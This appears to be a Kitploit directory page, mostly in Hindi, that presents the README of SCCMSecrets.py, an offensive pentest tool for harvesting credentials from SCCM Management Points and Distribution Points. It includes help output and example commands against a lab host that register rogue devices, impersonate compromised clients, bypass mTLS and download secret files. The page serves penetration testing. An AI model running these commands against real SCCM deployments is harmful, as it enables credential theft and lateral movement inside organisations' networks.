Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
SCCMSecrets — SCCMSecrets.py का उद्देश्य क्रेडेंशियल हार्वेस्टिंग, प्रारंभिक पहुंच और पार्श्व संचलन के लिए SCCM नीतियों के वितरण का शोषण करना है। | Kitploit
उपकरण/GitHubGitHub/synacktiv/sccmsecrets
प्रमाणीकरण और प्राधिकरणटोहीपासवर्ड हमलेशोषणपार्श्व आंदोलनजानकारी एकत्र करनापोस्ट-शोषणगलत कॉन्फ़िगरेशन
GitHubsynacktiv/sccmsecrets

SCCMSecrets

SCCMSecrets.py का उद्देश्य क्रेडेंशियल हार्वेस्टिंग, प्रारंभिक पहुंच और पार्श्व संचलन के लिए SCCM नीतियों के वितरण का शोषण करना है।

रिपॉजिटरी देखें
27333610 दिन पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SCCMSecrets

SCCMSecrets.py एक SCCM नीतियों के शोषण का उपकरण है। यह NAA क्रेडेंशियल निष्कर्षण से आगे जाता है, और SCCM नीतियों के वितरण के शोषण के लिए एक व्यापक दृष्टिकोण प्रदान करने का लक्ष्य रखता है। इस उपकरण को विभिन्न विशेषाधिकार स्तरों से निष्पादित किया जा सकता है, और यह नीतियों के वितरण से संबंधित संभावित गलत कॉन्फ़िगरेशन को उजागर करने का प्रयास करेगा। उपकरण और इसके उपयोग के बारे में अधिक विवरण संबंधित लेख में उपलब्ध है: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

दो उप-कमांड उपलब्ध हैं: policies और files।

Policies

यह उप-कमांड सभी गुप्त नीतियों (NAA कॉन्फ़िगरेशन, क्रेडेंशियल युक्त कार्य अनुक्रम, या संग्रह चर सहित) की सामग्री को डंप करने के लिए एक SCCM प्रबंधन बिंदु (Management Point) के साथ इंटरैक्ट करता है। ऐसा करने के लिए, एक स्वीकृत SCCM डिवाइस की आवश्यकता होती है, जिसे तीन तरीकों से प्राप्त किया जा सकता है।

  • यदि आप मशीन खाता प्रदान नहीं करते हैं, तो SCCMSecrets एक डिवाइस पंजीकृत करने और स्वचालित डिवाइस अनुमोदन का दुरुपयोग करने का प्रयास करेगा। यह एक (गैर-डिफ़ॉल्ट) SCCM कॉन्फ़िगरेशन है जो अनाम रूप से पंजीकृत नए डिवाइसों को स्वचालित रूप से "Approved" स्थिति प्रदान करता है।
  • यदि आप मशीन खाता प्रदान करते हैं, तो SCCMSecrets प्रमाणित पंजीकरण एंडपॉइंट का उपयोग करके एक नया डिवाइस पंजीकृत करेगा। डिफ़ॉल्ट रूप से, SCCM इस एंडपॉइंट के माध्यम से पंजीकृत डिवाइसों को "Approved" स्थिति प्रदान करेगा।
  • यदि आप --altauth फ़्लैग प्रदान करते हैं, तो SCCMSecrets एक वैकल्पिक प्रमाणीकरण एंडपॉइंट का शोषण करेगा, जो mTLS आवश्यकताओं को बायपास करने की अनुमति देता है, और बिना क्रेडेंशियल तथा बिना स्वचालित डिवाइस अनुमोदन गलत कॉन्फ़िगरेशन के एक स्वीकृत डिवाइस प्राप्त करता है (अधिक जानकारी यहाँ)। यह केवल तब काम करता है जब MP को HTTPS का उपयोग करने के लिए कॉन्फ़िगर किया गया हो, और SCCM साइट को साइट-व्यापी HTTPS लागू करने के लिए कॉन्फ़िगर किया गया हो (यदि MP HTTPS का उपयोग कर रहा है लेकिन साइट HTTP या HTTPS दोनों की अनुमति देती है, तो डिवाइस स्वचालित रूप से अनुमोदित नहीं होते हैं)।
  • आप एक मौजूदा डिवाइस भी प्रदान कर सकते हैं (--use-existing-device)। यह तर्क एक निर्देशिका की अपेक्षा करता है जिसमें guid.txt फ़ाइल (डिवाइस GUID) और key.pem फ़ाइल (डिवाइस की निजी कुंजी) हो। यह पिछले SCCMSecrets निष्पादन द्वारा बनाया गया डिवाइस हो सकता है, या किसी समझौता किए गए वैध SCCM क्लाइंट के अनुरूप हो सकता है।

ध्यान दें कि SCCM नीतियां संग्रह (collections) से जुड़ी होती हैं। एक नया डिवाइस पंजीकृत करने से यह डिवाइस डिफ़ॉल्ट संग्रहों में रखा जाएगा - इस प्रकार, केवल डिफ़ॉल्ट संग्रहों की गुप्त नीतियां ही प्राप्त की जाएंगी। यही कारण है कि --use-existing-device के साथ किसी समझौता किए गए वैध SCCM क्लाइंट का प्रतिरूपण करना दिलचस्प हो सकता है। वास्तव में, यह वैध क्लाइंट अतिरिक्त गुप्त नीतियों से जुड़े कस्टम संग्रहों का हिस्सा हो सकता है।

आउटपुट को loot निर्देशिका की उप-निर्देशिका में रखा जाएगा (प्रारूप: [timestamp]_policies)।

root@kitploit:~
$ python3 SCCMSecrets.py policies -h
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py policies [OPTIONS]                                                                                                                                                                              
                                                                                                                                                                                                                       
 Dump secret policies from an SCCM Management Point                                                                                                                                                                    
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --management-point     -mp      TEXT     The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                             │
│ *  --client-name          -cn      TEXT     [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required]                                                │
│    --machine-name         -u       TEXT     [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval                                                           │
│    --machine-pass         -p       TEXT     [Optional] The password for the machine account                                                                                                                         │
│    --machine-hash         -H       TEXT     [Optional] The NT hash for the machine account                                                                                                                          │
│    --registration-sleep   -rs      INTEGER  [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to   │
│                                             device collections (3 minutes by default, may need to be increased)                                                                                                     │
│                                             [default: 180]                                                                                                                                                          │
│    --use-existing-device  -d       TEXT     [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it        │
│                                             expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│                                             be provided to SCCMSecrets (but does not have to match the one of the existing device)                                                                                  │
│    --pki-cert             -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication       │
│    --pki-key              -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                 │
│    --altauth              -a                [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│                                             only works when the MP uses HTTPS AND HTTPS is enforced site-wide                                                                                                       │
│    --verbose              -v                [Optional] Enable verbose output                                                                                                                                        │
│    --help                 -h                Show this message and exit.                                                                                                                                             │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Files

यह उप-कमांड एक वितरण बिंदु (Distribution Point) पर संग्रहीत फ़ाइलों को अनुक्रमित करेगा और दिलचस्प फ़ाइलों को डाउनलोड करेगा। SCCMSecrets पहले यह पहचानने का प्रयास करेगा कि क्या अनाम पहुंच सक्षम है (गैर-डिफ़ॉल्ट)। यदि ऐसा है, तो फ़ाइलों को बिना प्रमाणीकरण के अनुक्रमित और डाउनलोड किया जा सकता है। अन्यथा, डोमेन क्रेडेंशियल की आवश्यकता होगी।

एक्सटेंशन द्वारा फ़ाइलें डाउनलोड करना संभव है। SCCMSecrets वितरण बिंदु पर होस्ट किए गए सभी पैकेजों की फ़ाइलों को अनुक्रमित करेगा (जिसके परिणामस्वरूप Unix tree प्रारूप वाली एक index.txt फ़ाइल बनेगी), और यह निर्दिष्ट एक्सटेंशन वाली फ़ाइलों को डाउनलोड करेगा। एक्सटेंशन की खाली सूची प्रदान करने पर, केवल फ़ाइल अनुक्रमण किया जाएगा। दोनों ही मामलों में, उत्पादित इंडेक्स फ़ाइल से, विशिष्ट दिलचस्प फ़ाइलों को डाउनलोड करने के लिए --urls फ़्लैग का उपयोग करना संभव है (बिना पुनः अनुक्रमण के)।

ध्यान दें कि mTLS आवश्यकताएं, यदि लागू की गई हैं, तो --nocert फ़्लैग प्रदान करके बायपास की जा सकती हैं।

आउटपुट को loot निर्देशिका की उप-निर्देशिका में रखा जाएगा (प्रारूप: [timestamp]_files)।

root@kitploit:~
$ python3 SCCMSecrets.py files --help
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py files [OPTIONS]                                                                                                                                                                                 
                                                                                                                                                                                                                       
 Dump interesting files from an SCCM Distribution Point                                                                                                                                                                
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --distribution-point  -dp      TEXT     An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                                      │
│    --username            -u       TEXT     [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access                                               │
│    --password            -p       TEXT     [Optional] The password for the domain account                                                                                                                           │
│    --hash                -H       TEXT     [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852)                                                                                    │
│    --extensions          -e       TEXT     [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not         │
│                                            download anything, and only index files                                                                                                                                  │
│                                            [default: .ps1, .bat, .xml, .txt, .pfx]                                                                                                                                  │
│    --urls                -f       TEXT     [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│                                            want to download by extension, but rather specific known files                                                                                                           │
│    --max-recursion       -r       INTEGER  [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10]                                                                     │
│    --pki-cert            -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication      │
│    --pki-key             -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                  │
│    --nocert              -n                [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements                                                                                  │
│    --verbose             -v                [Optional] Enable verbose output                                                                                                                                         │
│    --help                -h                Show this message and exit.                                                                                                                                              │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

HTTPS लागू करने के बारे में

डिफ़ॉल्ट रूप से, क्लाइंट अपने प्रबंधन बिंदु या वितरण बिंदु के साथ सादे HTTP का उपयोग करके इंटरैक्ट कर सकते हैं। हालाँकि, SCCM इंस्टॉलेशन को HTTPS के उपयोग को लागू करके अधिक सुरक्षित रूप से कॉन्फ़िगर किया जा सकता है। जब ऐसा होता है (प्रबंधन बिंदु, वितरण बिंदु, या दोनों के लिए), SCCM को "क्लाइंट प्रमाणीकरण" उद्देश्य वाले आंतरिक PKI प्रमाणपत्र का उपयोग करके क्लाइंट प्रमाणपत्र प्रमाणीकरण की आवश्यकता होगी।

ऊपर प्रस्तुत हमलों को अंजाम देना अभी भी संभव है - हालाँकि, --pki-cert और --pki-key फ़्लैग (PEM प्रारूप) के माध्यम से एक वैध PKI प्रमाणपत्र प्रदान किया जाना चाहिए। प्रबंधन बिंदु / वितरण बिंदु URL भी https:// से उपसर्गित होने चाहिए। ध्यान दें कि --altauth (नीतियों के लिए) और --nocert (फ़ाइलों के लिए) फ़्लैग mTLS प्रमाणीकरण को बायपास करने के तरीके प्रदान करते हैं (अधिक जानकारी यहाँ)।

इंस्टॉलेशन

आप रिपॉजिटरी को क्लोन करके और निर्भरताओं को स्थापित करके SCCMSecrets.py स्थापित कर सकते हैं।

root@kitploit:~
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

उदाहरण

नीचे कुछ उदाहरण कमांड दिए गए हैं।

Policies

मशीन खाता प्रदान किए बिना गुप्त नीतियां प्राप्त करें। यह स्वचालित डिवाइस अनुमोदन गलत कॉन्फ़िगरेशन (गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन) का शोषण करने का प्रयास करेगा

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'

मशीन खाता प्रदान करके गुप्त नीतियां प्राप्त करें। यह डिफ़ॉल्ट SCCM कॉन्फ़िगरेशन में काम करेगा

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'

पहले से मौजूद डिवाइस की गुप्त नीतियां प्राप्त करें। compromised_device फ़ोल्डर में एक guid.txt और key.pem फ़ाइल है।

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/

जब प्रबंधन बिंदु HTTPS लागू करता है तो गुप्त नीतियां प्राप्त करें

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem

वैकल्पिक प्रमाणीकरण एंडपॉइंट का उपयोग करके गुप्त नीतियां प्राप्त करें, जो mTLS प्रमाणीकरण को बायपास करने और बिना क्रेडेंशियल प्रदान किए एक स्वीकृत डिवाइस प्राप्त करने की अनुमति देता है (अधिक जानकारी यहाँ)। केवल तब काम करता है जब MP HTTPS का उपयोग करता है और HTTPS साइट-व्यापी रूप से लागू होता है

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth

Files

बिना क्रेडेंशियल प्रदान किए वितरण बिंदु फ़ाइलें प्राप्त करें। यह अनाम DP पहुंच (गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन) का शोषण करने का प्रयास करेगा

root@kitploit:~
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab

क्रेडेंशियल के साथ वितरण बिंदु फ़ाइलें प्राप्त करें। यह डिफ़ॉल्ट SCCM कॉन्फ़िगरेशन में काम करेगा

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'

एक्सटेंशन की विशिष्ट सूची के साथ फ़ाइलें प्राप्त करें। मशीन खाते के हैश के साथ प्रमाणीकरण करें

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

URL की सूची प्रदान करके वितरण बिंदु से विशिष्ट फ़ाइलें प्राप्त करें (1 प्रति पंक्ति)

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst

जब वितरण बिंदु HTTPS लागू करता है तो DP फ़ाइलें प्राप्त करें

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem

जब वितरण बिंदु HTTPS लागू करता है तो mTLS प्रमाणीकरण बायपास करें

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert
टूल डाउनलोड करें